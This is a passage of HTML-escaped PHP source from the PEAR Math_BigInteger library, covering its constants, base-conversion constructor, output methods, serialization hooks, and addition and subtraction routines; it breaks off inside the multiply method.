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/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */

/**
 * Pure-PHP arbitrary precision integer arithmetic library.
 *
 * Supports base-2, base-10, base-16, and base-256 numbers.  Uses the GMP or BCMath extensions, if available,
 * and an internal implementation, otherwise.
 *
 * PHP versions 4 and 5
 *
 * {@internal (all DocBlock comments regarding implementation - such as the one that follows - refer to the 
 * {@link MATH_BIGINTEGER_MODE_INTERNAL MATH_BIGINTEGER_MODE_INTERNAL} mode)
 *
 * Math_BigInteger uses base-2**26 to perform operations such as multiplication and division and
 * base-2**52 (ie. two base 2**26 digits) to perform addition and subtraction.  Because the largest possible
 * value when multiplying two base-2**26 numbers together is a base-2**52 number, double precision floating
 * point numbers - numbers that should be supported on most hardware and whose significand is 53 bits - are
 * used.  As a consequence, bitwise operators such as &gt;&gt; and &lt;&lt; cannot be used, nor can the modulo operator %,
 * which only supports integers.  Although this fact will slow this library down, the fact that such a high
 * base is being used should more than compensate.
 *
 * When PHP version 6 is officially released, we'll be able to use 64-bit integers.  This should, once again,
 * allow bitwise operators, and will increase the maximum possible base to 2**31 (or 2**62 for addition /
 * subtraction).
 *
 * Numbers are stored in {@link http://en.wikipedia.org/wiki/Endianness little endian} format.  ie.
 * (new Math_BigInteger(pow(2, 26)))-&gt;value = array(0, 1)
 *
 * Useful resources are as follows:
 *
 *  - {@link http://www.cacr.math.uwaterloo.ca/hac/about/chap14.pdf Handbook of Applied Cryptography (HAC)}
 *  - {@link http://math.libtomcrypt.com/files/tommath.pdf Multi-Precision Math (MPM)}
 *  - Java's BigInteger classes.  See /j2se/src/share/classes/java/math in jdk-1_5_0-src-jrl.zip
 *
 * Here's an example of how to use this library:
 * &lt;code&gt;
 * &lt;?php
 *    include('Math/BigInteger.php');
 *
 *    $a = new Math_BigInteger(2);
 *    $b = new Math_BigInteger(3);
 *
 *    $c = $a-&gt;add($b);
 *
 *    echo $c-&gt;toString(); // outputs 5
 * ?&gt;
 * &lt;/code&gt;
 *
 * LICENSE: This library is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 2.1 of the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public
 * License along with this library; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston,
 * MA  02111-1307  USA
 *
 * @category   Math
 * @package    Math_BigInteger
 * @author     Jim Wigginton &lt;terrafrost@php.net&gt;
 * @copyright  MMVI Jim Wigginton
 * @license    http://www.gnu.org/licenses/lgpl.txt
 * @version    $Id: BigInteger.php,v 1.33 2010/03/22 22:32:03 terrafrost Exp $
 * @link       http://pear.php.net/package/Math_BigInteger
 */

/**#@+
 * Reduction constants
 *
 * @access private
 * @see Math_BigInteger::_reduce()
 */
/**
 * @see Math_BigInteger::_montgomery()
 * @see Math_BigInteger::_prepMontgomery()
 */
define('MATH_BIGINTEGER_MONTGOMERY', 0);
/**
 * @see Math_BigInteger::_barrett()
 */
define('MATH_BIGINTEGER_BARRETT', 1);
/**
 * @see Math_BigInteger::_mod2()
 */
define('MATH_BIGINTEGER_POWEROF2', 2);
/**
 * @see Math_BigInteger::_remainder()
 */
define('MATH_BIGINTEGER_CLASSIC', 3);
/**
 * @see Math_BigInteger::__clone()
 */
define('MATH_BIGINTEGER_NONE', 4);
/**#@-*/

/**#@+
 * Array constants
 *
 * Rather than create a thousands and thousands of new Math_BigInteger objects in repeated function calls to add() and
 * multiply() or whatever, we'll just work directly on arrays, taking them in as parameters and returning them.
 *
 * @access private
 */
/**
 * $result[MATH_BIGINTEGER_VALUE] contains the value.
 */
define('MATH_BIGINTEGER_VALUE', 0);
/**
 * $result[MATH_BIGINTEGER_SIGN] contains the sign.
 */
define('MATH_BIGINTEGER_SIGN', 1);
/**#@-*/

/**#@+
 * @access private
 * @see Math_BigInteger::_montgomery()
 * @see Math_BigInteger::_barrett()
 */
/**
 * Cache constants
 *
 * $cache[MATH_BIGINTEGER_VARIABLE] tells us whether or not the cached data is still valid.
 */
define('MATH_BIGINTEGER_VARIABLE', 0);
/**
 * $cache[MATH_BIGINTEGER_DATA] contains the cached data.
 */
define('MATH_BIGINTEGER_DATA', 1);
/**#@-*/

/**#@+
 * Mode constants.
 *
 * @access private
 * @see Math_BigInteger::Math_BigInteger()
 */
/**
 * To use the pure-PHP implementation
 */
define('MATH_BIGINTEGER_MODE_INTERNAL', 1);
/**
 * To use the BCMath library
 *
 * (if enabled; otherwise, the internal implementation will be used)
 */
define('MATH_BIGINTEGER_MODE_BCMATH', 2);
/**
 * To use the GMP library
 *
 * (if present; otherwise, either the BCMath or the internal implementation will be used)
 */
define('MATH_BIGINTEGER_MODE_GMP', 3);
/**#@-*/

/**
 * The largest digit that may be used in addition / subtraction
 *
 * (we do pow(2, 52) instead of using 4503599627370496, directly, because some PHP installations
 *  will truncate 4503599627370496)
 *
 * @access private
 */
define('MATH_BIGINTEGER_MAX_DIGIT52', pow(2, 52));

/**
 * Karatsuba Cutoff
 *
 * At what point do we switch between Karatsuba multiplication and schoolbook long multiplication?
 *
 * @access private
 */
define('MATH_BIGINTEGER_KARATSUBA_CUTOFF', 25);

/**
 * Pure-PHP arbitrary precision integer arithmetic library. Supports base-2, base-10, base-16, and base-256
 * numbers.
 *
 * @author  Jim Wigginton &lt;terrafrost@php.net&gt;
 * @version 1.0.0RC4
 * @access  public
 * @package Math_BigInteger
 */
class Math_BigInteger {
    /**
     * Holds the BigInteger's value.
     *
     * @var Array
     * @access private
     */
    var $value;

    /**
     * Holds the BigInteger's magnitude.
     *
     * @var Boolean
     * @access private
     */
    var $is_negative = false;

    /**
     * Random number generator function
     *
     * @see setRandomGenerator()
     * @access private
     */
    var $generator = 'mt_rand';

    /**
     * Precision
     *
     * @see setPrecision()
     * @access private
     */
    var $precision = -1;

    /**
     * Precision Bitmask
     *
     * @see setPrecision()
     * @access private
     */
    var $bitmask = false;

    /**
     * Mode independant value used for serialization.
     *
     * If the bcmath or gmp extensions are installed $this-&gt;value will be a non-serializable resource, hence the need for 
     * a variable that'll be serializable regardless of whether or not extensions are being used.  Unlike $this-&gt;value,
     * however, $this-&gt;hex is only calculated when $this-&gt;__sleep() is called.
     *
     * @see __sleep()
     * @see __wakeup()
     * @var String
     * @access private
     */
    var $hex;

    /**
     * Converts base-2, base-10, base-16, and binary strings (eg. base-256) to BigIntegers.
     *
     * If the second parameter - $base - is negative, then it will be assumed that the number's are encoded using
     * two's compliment.  The sole exception to this is -10, which is treated the same as 10 is.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('0x32', 16); // 50 in base-16
     *
     *    echo $a-&gt;toString(); // outputs 50
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param optional $x base-10 number or base-$base number if $base set.
     * @param optional integer $base
     * @return Math_BigInteger
     * @access public
     */
    function Math_BigInteger($x = 0, $base = 10)
    {
        if ( !defined('MATH_BIGINTEGER_MODE') ) {
            switch (true) {
                case extension_loaded('gmp'):
                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_GMP);
                    break;
                case extension_loaded('bcmath'):
                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_BCMATH);
                    break;
                default:
                    define('MATH_BIGINTEGER_MODE', MATH_BIGINTEGER_MODE_INTERNAL);
            }
        }

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                if (is_resource($x) &amp;&amp; get_resource_type($x) == 'GMP integer') {
                    $this-&gt;value = $x;
                    return;
                }
                $this-&gt;value = gmp_init(0);
                break;
            case MATH_BIGINTEGER_MODE_BCMATH:
                $this-&gt;value = '0';
                break;
            default:
                $this-&gt;value = array();
        }

        if (empty($x)) {
            return;
        }

        switch ($base) {
            case -256:
                if (ord($x[0]) &amp; 0x80) {
                    $x = ~$x;
                    $this-&gt;is_negative = true;
                }
            case  256:
                switch ( MATH_BIGINTEGER_MODE ) {
                    case MATH_BIGINTEGER_MODE_GMP:
                        $sign = $this-&gt;is_negative ? '-' : '';
                        $this-&gt;value = gmp_init($sign . '0x' . bin2hex($x));
                        break;
                    case MATH_BIGINTEGER_MODE_BCMATH:
                        // round $len to the nearest 4 (thanks, DavidMJ!)
                        $len = (strlen($x) + 3) &amp; 0xFFFFFFFC;

                        $x = str_pad($x, $len, chr(0), STR_PAD_LEFT);

                        for ($i = 0; $i &lt; $len; $i+= 4) {
                            $this-&gt;value = bcmul($this-&gt;value, '4294967296', 0); // 4294967296 == 2**32
                            $this-&gt;value = bcadd($this-&gt;value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) &lt;&lt; 16) | (ord($x[$i + 2]) &lt;&lt; 8) | ord($x[$i + 3])), 0);
                        }

                        if ($this-&gt;is_negative) {
                            $this-&gt;value = '-' . $this-&gt;value;
                        }

                        break;
                    // converts a base-2**8 (big endian / msb) number to base-2**26 (little endian / lsb)
                    default:
                        while (strlen($x)) {
                            $this-&gt;value[] = $this-&gt;_bytes2int($this-&gt;_base256_rshift($x, 26));
                        }
                }

                if ($this-&gt;is_negative) {
                    if (MATH_BIGINTEGER_MODE != MATH_BIGINTEGER_MODE_INTERNAL) {
                        $this-&gt;is_negative = false;
                    }
                    $temp = $this-&gt;add(new Math_BigInteger('-1'));
                    $this-&gt;value = $temp-&gt;value;
                }
                break;
            case  16:
            case -16:
                if ($base &gt; 0 &amp;&amp; $x[0] == '-') {
                    $this-&gt;is_negative = true;
                    $x = substr($x, 1);
                }

                $x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x);

                $is_negative = false;
                if ($base &lt; 0 &amp;&amp; hexdec($x[0]) &gt;= 8) {
                    $this-&gt;is_negative = $is_negative = true;
                    $x = bin2hex(~pack('H*', $x));
                }

                switch ( MATH_BIGINTEGER_MODE ) {
                    case MATH_BIGINTEGER_MODE_GMP:
                        $temp = $this-&gt;is_negative ? '-0x' . $x : '0x' . $x;
                        $this-&gt;value = gmp_init($temp);
                        $this-&gt;is_negative = false;
                        break;
                    case MATH_BIGINTEGER_MODE_BCMATH:
                        $x = ( strlen($x) &amp; 1 ) ? '0' . $x : $x;
                        $temp = new Math_BigInteger(pack('H*', $x), 256);
                        $this-&gt;value = $this-&gt;is_negative ? '-' . $temp-&gt;value : $temp-&gt;value;
                        $this-&gt;is_negative = false;
                        break;
                    default:
                        $x = ( strlen($x) &amp; 1 ) ? '0' . $x : $x;
                        $temp = new Math_BigInteger(pack('H*', $x), 256);
                        $this-&gt;value = $temp-&gt;value;
                }

                if ($is_negative) {
                    $temp = $this-&gt;add(new Math_BigInteger('-1'));
                    $this-&gt;value = $temp-&gt;value;
                }
                break;
            case  10:
            case -10:
                $x = preg_replace('#^(-?[0-9]*).*#', '$1', $x);

                switch ( MATH_BIGINTEGER_MODE ) {
                    case MATH_BIGINTEGER_MODE_GMP:
                        $this-&gt;value = gmp_init($x);
                        break;
                    case MATH_BIGINTEGER_MODE_BCMATH:
                        // explicitly casting $x to a string is necessary, here, since doing $x[0] on -1 yields different
                        // results then doing it on '-1' does (modInverse does $x[0])
                        $this-&gt;value = (string) $x;
                        break;
                    default:
                        $temp = new Math_BigInteger();

                        // array(10000000) is 10**7 in base-2**26.  10**7 is the closest to 2**26 we can get without passing it.
                        $multiplier = new Math_BigInteger();
                        $multiplier-&gt;value = array(10000000);

                        if ($x[0] == '-') {
                            $this-&gt;is_negative = true;
                            $x = substr($x, 1);
                        }

                        $x = str_pad($x, strlen($x) + (6 * strlen($x)) % 7, 0, STR_PAD_LEFT);

                        while (strlen($x)) {
                            $temp = $temp-&gt;multiply($multiplier);
                            $temp = $temp-&gt;add(new Math_BigInteger($this-&gt;_int2bytes(substr($x, 0, 7)), 256));
                            $x = substr($x, 7);
                        }

                        $this-&gt;value = $temp-&gt;value;
                }
                break;
            case  2: // base-2 support originally implemented by Lluis Pamies - thanks!
            case -2:
                if ($base &gt; 0 &amp;&amp; $x[0] == '-') {
                    $this-&gt;is_negative = true;
                    $x = substr($x, 1);
                }

                $x = preg_replace('#^([01]*).*#', '$1', $x);
                $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT);

                $str = '0x';
                while (strlen($x)) {
                    $part = substr($x, 0, 4);
                    $str.= dechex(bindec($part));
                    $x = substr($x, 4);
                }

                if ($this-&gt;is_negative) {
                    $str = '-' . $str;
                }

                $temp = new Math_BigInteger($str, 8 * $base); // ie. either -16 or +16
                $this-&gt;value = $temp-&gt;value;
                $this-&gt;is_negative = $temp-&gt;is_negative;

                break;
            default:
                // base not supported, so we'll let $this == 0
        }
    }

    /**
     * Converts a BigInteger to a byte string (eg. base-256).
     *
     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
     * saved as two's compliment.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('65');
     *
     *    echo $a-&gt;toBytes(); // outputs chr(65)
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Boolean $twos_compliment
     * @return String
     * @access public
     * @internal Converts a base-2**26 number to base-2**8
     */
    function toBytes($twos_compliment = false)
    {
        if ($twos_compliment) {
            $comparison = $this-&gt;compare(new Math_BigInteger());
            if ($comparison == 0) {
                return $this-&gt;precision &gt; 0 ? str_repeat(chr(0), ($this-&gt;precision + 1) &gt;&gt; 3) : '';
            }

            $temp = $comparison &lt; 0 ? $this-&gt;add(new Math_BigInteger(1)) : $this-&gt;copy();
            $bytes = $temp-&gt;toBytes();

            if (empty($bytes)) { // eg. if the number we're trying to convert is -1
                $bytes = chr(0);
            }

            if (ord($bytes[0]) &amp; 0x80) {
                $bytes = chr(0) . $bytes;
            }

            return $comparison &lt; 0 ? ~$bytes : $bytes;
        }

        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                if (gmp_cmp($this-&gt;value, gmp_init(0)) == 0) {
                    return $this-&gt;precision &gt; 0 ? str_repeat(chr(0), ($this-&gt;precision + 1) &gt;&gt; 3) : '';
                }

                $temp = gmp_strval(gmp_abs($this-&gt;value), 16);
                $temp = ( strlen($temp) &amp; 1 ) ? '0' . $temp : $temp;
                $temp = pack('H*', $temp);

                return $this-&gt;precision &gt; 0 ?
                    substr(str_pad($temp, $this-&gt;precision &gt;&gt; 3, chr(0), STR_PAD_LEFT), -($this-&gt;precision &gt;&gt; 3)) :
                    ltrim($temp, chr(0));
            case MATH_BIGINTEGER_MODE_BCMATH:
                if ($this-&gt;value === '0') {
                    return $this-&gt;precision &gt; 0 ? str_repeat(chr(0), ($this-&gt;precision + 1) &gt;&gt; 3) : '';
                }

                $value = '';
                $current = $this-&gt;value;

                if ($current[0] == '-') {
                    $current = substr($current, 1);
                }

                while (bccomp($current, '0', 0) &gt; 0) {
                    $temp = bcmod($current, '16777216');
                    $value = chr($temp &gt;&gt; 16) . chr($temp &gt;&gt; 8) . chr($temp) . $value;
                    $current = bcdiv($current, '16777216', 0);
                }

                return $this-&gt;precision &gt; 0 ?
                    substr(str_pad($value, $this-&gt;precision &gt;&gt; 3, chr(0), STR_PAD_LEFT), -($this-&gt;precision &gt;&gt; 3)) :
                    ltrim($value, chr(0));
        }

        if (!count($this-&gt;value)) {
            return $this-&gt;precision &gt; 0 ? str_repeat(chr(0), ($this-&gt;precision + 1) &gt;&gt; 3) : '';
        }
        $result = $this-&gt;_int2bytes($this-&gt;value[count($this-&gt;value) - 1]);

        $temp = $this-&gt;copy();

        for ($i = count($temp-&gt;value) - 2; $i &gt;= 0; --$i) {
            $temp-&gt;_base256_lshift($result, 26);
            $result = $result | str_pad($temp-&gt;_int2bytes($temp-&gt;value[$i]), strlen($result), chr(0), STR_PAD_LEFT);
        }

        return $this-&gt;precision &gt; 0 ?
            str_pad(substr($result, -(($this-&gt;precision + 7) &gt;&gt; 3)), ($this-&gt;precision + 7) &gt;&gt; 3, chr(0), STR_PAD_LEFT) :
            $result;
    }

    /**
     * Converts a BigInteger to a hex string (eg. base-16)).
     *
     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
     * saved as two's compliment.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('65');
     *
     *    echo $a-&gt;toHex(); // outputs '41'
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Boolean $twos_compliment
     * @return String
     * @access public
     * @internal Converts a base-2**26 number to base-2**8
     */
    function toHex($twos_compliment = false)
    {
        return bin2hex($this-&gt;toBytes($twos_compliment));
    }

    /**
     * Converts a BigInteger to a bit string (eg. base-2).
     *
     * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
     * saved as two's compliment.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('65');
     *
     *    echo $a-&gt;toBits(); // outputs '1000001'
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Boolean $twos_compliment
     * @return String
     * @access public
     * @internal Converts a base-2**26 number to base-2**2
     */
    function toBits($twos_compliment = false)
    {
        $hex = $this-&gt;toHex($twos_compliment);
        $bits = '';
        for ($i = 0; $i &lt; strlen($hex); $i+=8) {
            $bits.= str_pad(decbin(hexdec(substr($hex, $i, 8))), 32, '0', STR_PAD_LEFT);
        }
        return $this-&gt;precision &gt; 0 ? substr($bits, -$this-&gt;precision) : ltrim($bits, '0');
    }

    /**
     * Converts a BigInteger to a base-10 number.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('50');
     *
     *    echo $a-&gt;toString(); // outputs 50
     * ?&gt;
     * &lt;/code&gt;
     *
     * @return String
     * @access public
     * @internal Converts a base-2**26 number to base-10**7 (which is pretty much base-10)
     */
    function toString()
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                return gmp_strval($this-&gt;value);
            case MATH_BIGINTEGER_MODE_BCMATH:
                if ($this-&gt;value === '0') {
                    return '0';
                }

                return ltrim($this-&gt;value, '0');
        }

        if (!count($this-&gt;value)) {
            return '0';
        }

        $temp = $this-&gt;copy();
        $temp-&gt;is_negative = false;

        $divisor = new Math_BigInteger();
        $divisor-&gt;value = array(10000000); // eg. 10**7
        $result = '';
        while (count($temp-&gt;value)) {
            list($temp, $mod) = $temp-&gt;divide($divisor);
            $result = str_pad(isset($mod-&gt;value[0]) ? $mod-&gt;value[0] : '', 7, '0', STR_PAD_LEFT) . $result;
        }
        $result = ltrim($result, '0');
        if (empty($result)) {
            $result = '0';
        }

        if ($this-&gt;is_negative) {
            $result = '-' . $result;
        }

        return $result;
    }

    /**
     * Copy an object
     *
     * PHP5 passes objects by reference while PHP4 passes by value.  As such, we need a function to guarantee
     * that all objects are passed by value, when appropriate.  More information can be found here:
     *
     * {@link http://php.net/language.oop5.basic#51624}
     *
     * @access public
     * @see __clone()
     * @return Math_BigInteger
     */
    function copy()
    {
        $temp = new Math_BigInteger();
        $temp-&gt;value = $this-&gt;value;
        $temp-&gt;is_negative = $this-&gt;is_negative;
        $temp-&gt;generator = $this-&gt;generator;
        $temp-&gt;precision = $this-&gt;precision;
        $temp-&gt;bitmask = $this-&gt;bitmask;
        return $temp;
    }

    /**
     *  __toString() magic method
     *
     * Will be called, automatically, if you're supporting just PHP5.  If you're supporting PHP4, you'll need to call
     * toString().
     *
     * @access public
     * @internal Implemented per a suggestion by Techie-Michael - thanks!
     */
    function __toString()
    {
        return $this-&gt;toString();
    }

    /**
     * __clone() magic method
     *
     * Although you can call Math_BigInteger::__toString() directly in PHP5, you cannot call Math_BigInteger::__clone()
     * directly in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
     * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and PHP5,
     * call Math_BigInteger::copy(), instead.
     *
     * @access public
     * @see copy()
     * @return Math_BigInteger
     */
    function __clone()
    {
        return $this-&gt;copy();
    }

    /**
     *  __sleep() magic method
     *
     * Will be called, automatically, when serialize() is called on a Math_BigInteger object.
     *
     * @see __wakeup()
     * @access public
     */
    function __sleep()
    {
        $this-&gt;hex = $this-&gt;toHex(true);
        $vars = array('hex');
        if ($this-&gt;generator != 'mt_rand') {
            $vars[] = 'generator';
        }
        if ($this-&gt;precision &gt; 0) {
            $vars[] = 'precision';
        }
        return $vars;
        
    }

    /**
     *  __wakeup() magic method
     *
     * Will be called, automatically, when unserialize() is called on a Math_BigInteger object.
     *
     * @see __sleep()
     * @access public
     */
    function __wakeup()
    {
        $temp = new Math_BigInteger($this-&gt;hex, -16);
        $this-&gt;value = $temp-&gt;value;
        $this-&gt;is_negative = $temp-&gt;is_negative;
        $this-&gt;setRandomGenerator($this-&gt;generator);
        if ($this-&gt;precision &gt; 0) {
            // recalculate $this-&gt;bitmask
            $this-&gt;setPrecision($this-&gt;precision);
        }
    }

    /**
     * Adds two BigIntegers.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('10');
     *    $b = new Math_BigInteger('20');
     *
     *    $c = $a-&gt;add($b);
     *
     *    echo $c-&gt;toString(); // outputs 30
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $y
     * @return Math_BigInteger
     * @access public
     * @internal Performs base-2**52 addition
     */
    function add($y)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_add($this-&gt;value, $y-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp = new Math_BigInteger();
                $temp-&gt;value = bcadd($this-&gt;value, $y-&gt;value, 0);

                return $this-&gt;_normalize($temp);
        }

        $temp = $this-&gt;_add($this-&gt;value, $this-&gt;is_negative, $y-&gt;value, $y-&gt;is_negative);

        $result = new Math_BigInteger();
        $result-&gt;value = $temp[MATH_BIGINTEGER_VALUE];
        $result-&gt;is_negative = $temp[MATH_BIGINTEGER_SIGN];

        return $this-&gt;_normalize($result);
    }

    /**
     * Performs addition.
     *
     * @param Array $x_value
     * @param Boolean $x_negative
     * @param Array $y_value
     * @param Boolean $y_negative
     * @return Array
     * @access private
     */
    function _add($x_value, $x_negative, $y_value, $y_negative)
    {
        $x_size = count($x_value);
        $y_size = count($y_value);

        if ($x_size == 0) {
            return array(
                MATH_BIGINTEGER_VALUE =&gt; $y_value,
                MATH_BIGINTEGER_SIGN =&gt; $y_negative
            );
        } else if ($y_size == 0) {
            return array(
                MATH_BIGINTEGER_VALUE =&gt; $x_value,
                MATH_BIGINTEGER_SIGN =&gt; $x_negative
            );
        }

        // subtract, if appropriate
        if ( $x_negative != $y_negative ) {
            if ( $x_value == $y_value ) {
                return array(
                    MATH_BIGINTEGER_VALUE =&gt; array(),
                    MATH_BIGINTEGER_SIGN =&gt; false
                );
            }

            $temp = $this-&gt;_subtract($x_value, false, $y_value, false);
            $temp[MATH_BIGINTEGER_SIGN] = $this-&gt;_compare($x_value, false, $y_value, false) &gt; 0 ?
                                          $x_negative : $y_negative;

            return $temp;
        }

        if ($x_size &lt; $y_size) {
            $size = $x_size;
            $value = $y_value;
        } else {
            $size = $y_size;
            $value = $x_value;
        }

        $value[] = 0; // just in case the carry adds an extra digit

        $carry = 0;
        for ($i = 0, $j = 1; $j &lt; $size; $i+=2, $j+=2) {
            $sum = $x_value[$j] * 0x4000000 + $x_value[$i] + $y_value[$j] * 0x4000000 + $y_value[$i] + $carry;
            $carry = $sum &gt;= MATH_BIGINTEGER_MAX_DIGIT52; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
            $sum = $carry ? $sum - MATH_BIGINTEGER_MAX_DIGIT52 : $sum;

            $temp = (int) ($sum / 0x4000000);

            $value[$i] = (int) ($sum - 0x4000000 * $temp); // eg. a faster alternative to fmod($sum, 0x4000000)
            $value[$j] = $temp;
        }

        if ($j == $size) { // ie. if $y_size is odd
            $sum = $x_value[$i] + $y_value[$i] + $carry;
            $carry = $sum &gt;= 0x4000000;
            $value[$i] = $carry ? $sum - 0x4000000 : $sum;
            ++$i; // ie. let $i = $j since we've just done $value[$i]
        }

        if ($carry) {
            for (; $value[$i] == 0x3FFFFFF; ++$i) {
                $value[$i] = 0;
            }
            ++$value[$i];
        }

        return array(
            MATH_BIGINTEGER_VALUE =&gt; $this-&gt;_trim($value),
            MATH_BIGINTEGER_SIGN =&gt; $x_negative
        );
    }

    /**
     * Subtracts two BigIntegers.
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('10');
     *    $b = new Math_BigInteger('20');
     *
     *    $c = $a-&gt;subtract($b);
     *
     *    echo $c-&gt;toString(); // outputs -10
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $y
     * @return Math_BigInteger
     * @access public
     * @internal Performs base-2**52 subtraction
     */
    function subtract($y)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_sub($this-&gt;value, $y-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp = new Math_BigInteger();
                $temp-&gt;value = bcsub($this-&gt;value, $y-&gt;value, 0);

                return $this-&gt;_normalize($temp);
        }

        $temp = $this-&gt;_subtract($this-&gt;value, $this-&gt;is_negative, $y-&gt;value, $y-&gt;is_negative);

        $result = new Math_BigInteger();
        $result-&gt;value = $temp[MATH_BIGINTEGER_VALUE];
        $result-&gt;is_negative = $temp[MATH_BIGINTEGER_SIGN];

        return $this-&gt;_normalize($result);
    }

    /**
     * Performs subtraction.
     *
     * @param Array $x_value
     * @param Boolean $x_negative
     * @param Array $y_value
     * @param Boolean $y_negative
     * @return Array
     * @access private
     */
    function _subtract($x_value, $x_negative, $y_value, $y_negative)
    {
        $x_size = count($x_value);
        $y_size = count($y_value);

        if ($x_size == 0) {
            return array(
                MATH_BIGINTEGER_VALUE =&gt; $y_value,
                MATH_BIGINTEGER_SIGN =&gt; !$y_negative
            );
        } else if ($y_size == 0) {
            return array(
                MATH_BIGINTEGER_VALUE =&gt; $x_value,
                MATH_BIGINTEGER_SIGN =&gt; $x_negative
            );
        }

        // add, if appropriate (ie. -$x - +$y or +$x - -$y)
        if ( $x_negative != $y_negative ) {
            $temp = $this-&gt;_add($x_value, false, $y_value, false);
            $temp[MATH_BIGINTEGER_SIGN] = $x_negative;

            return $temp;
        }

        $diff = $this-&gt;_compare($x_value, $x_negative, $y_value, $y_negative);

        if ( !$diff ) {
            return array(
                MATH_BIGINTEGER_VALUE =&gt; array(),
                MATH_BIGINTEGER_SIGN =&gt; false
            );
        }

        // switch $x and $y around, if appropriate.
        if ( (!$x_negative &amp;&amp; $diff &lt; 0) || ($x_negative &amp;&amp; $diff &gt; 0) ) {
            $temp = $x_value;
            $x_value = $y_value;
            $y_value = $temp;

            $x_negative = !$x_negative;

            $x_size = count($x_value);
            $y_size = count($y_value);
        }

        // at this point, $x_value should be at least as big as - if not bigger than - $y_value

        $carry = 0;
        for ($i = 0, $j = 1; $j &lt; $y_size; $i+=2, $j+=2) {
            $sum = $x_value[$j] * 0x4000000 + $x_value[$i] - $y_value[$j] * 0x4000000 - $y_value[$i] - $carry;
            $carry = $sum &lt; 0; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
            $sum = $carry ? $sum + MATH_BIGINTEGER_MAX_DIGIT52 : $sum;

            $temp = (int) ($sum / 0x4000000);

            $x_value[$i] = (int) ($sum - 0x4000000 * $temp);
            $x_value[$j] = $temp;
        }

        if ($j == $y_size) { // ie. if $y_size is odd
            $sum = $x_value[$i] - $y_value[$i] - $carry;
            $carry = $sum &lt; 0;
            $x_value[$i] = $carry ? $sum + 0x4000000 : $sum;
            ++$i;
        }

        if ($carry) {
            for (; !$x_value[$i]; ++$i) {
                $x_value[$i] = 0x3FFFFFF;
            }
            --$x_value[$i];
        }

        return array(
            MATH_BIGINTEGER_VALUE =&gt; $this-&gt;_trim($x_value),
            MATH_BIGINTEGER_SIGN =&gt; $x_negative
        );
    }

    /**
     * Multiplies two BigIntegers
     *
     * Here's an example:
     * &lt;code&gt;
     * &lt;?php
     *    include('Math/BigInteger.php');
     *
     *    $a = new Math_BigInteger('10');
     *    $b = new Math_BigInteger('20');
     *
     *    $c = $a-&gt;multiply($b);
     *
     *    echo $c-&gt;toString(); // outputs 200
     * ?&gt;
     * &lt;/code&gt;
     *
     * @param Math_BigInteger $x
     * @return Math_BigInteger
     * @access public
     */
    function multiply($x)
    {
        switch ( MATH_BIGINTEGER_MODE ) {
            case MATH_BIGINTEGER_MODE_GMP:
                $temp = new Math_BigInteger();
                $temp-&gt;value = gmp_mul($this-&gt;value, $x-&gt;value);

                return $this-&gt;_normalize($temp);
            case MATH_BIGINTEGER_MODE_BCMATH:
                $temp = new Math_BigInteger();
                $temp-&gt;value = bcmul($this-&gt;value, $x-&gt;value, 0);

                return $this-&gt;_normalize($temp);
        }

        $temp = $this-&gt;_multiply($this-&gt;value, $this-&gt;is_negative, $x-&gt;value, $x-&gt;is_negative);

